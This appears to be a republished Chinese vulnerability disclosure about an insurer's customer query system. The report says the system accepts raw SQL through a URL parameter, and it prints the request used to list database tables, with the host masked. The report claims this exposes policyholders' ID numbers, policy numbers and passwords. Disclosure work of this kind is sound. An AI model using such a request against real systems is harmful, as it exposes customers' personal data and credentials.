资讯 安全 论坛 下载 读书 程序开发 数据库 系统 网络 电子书 微信学院 站长学院 QQ 考试
频道栏目
企业安全| 安全资讯| 安全公告| 病毒预警| 人物| 企业招聘| 其他综合|
登录注册
首页 > 资讯 > 企业安全 > 正文

中荷人寿某系统设计不当可直接可执行SQL影响账号密码及大量客户保单信息

16-07-18        来源：[db:作者]  
收藏   我要投稿

设计不当

**.**.**.**:8443/cusQuery/

 

QQ截图20160530214733.png

 

**.**.**.**:8443/cusQuery/common/easyQueryVer3/EasyQueryVer3Window.jsp?strSql=select+TABLE_NAME,NUM_ROWS+from+tabs&strStart=1&LargeFlag=0

 

QQ截图20160530214835.png

 

身份证信息&保单号

 

QQ截图20160530214944.png

 

帐号密码

 

QQ截图20160530215135.png

 

解决方案：

补丁

点击复制链接 与好友分享!回本站首页
相关TAG标签
上一篇：海尔300M无线路由器后台直接登录（不需要任何认证）
下一篇：凯撒旅游VPN弱口令到内网漫游(N多内部系统从SQL注入到后台登录)
相关文章
热门专题推荐 vmware win7激活工具 win10激活工具 excel word office激活 小马激活工具 重装系统 数据恢复 u盘启动工具
图文推荐
文章
推荐
热门新闻
· 锤子坚果Pro发布后，罗永浩哭了
· 想实习的大学党看过来!这些科技巨头最
· 罗永浩锤子发布会抢先消息：锤子科技新
· Google新一代系统Fuchsia OS界面曝光
· 中国唯一连续运营20余年的网络游戏，还
· iPhone都便宜了 为何国产手机越来越贵
· 丢人！谷歌和Facebook竟被虚假企业电邮
· 中国移动支付震惊日本网友 为什么美国

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站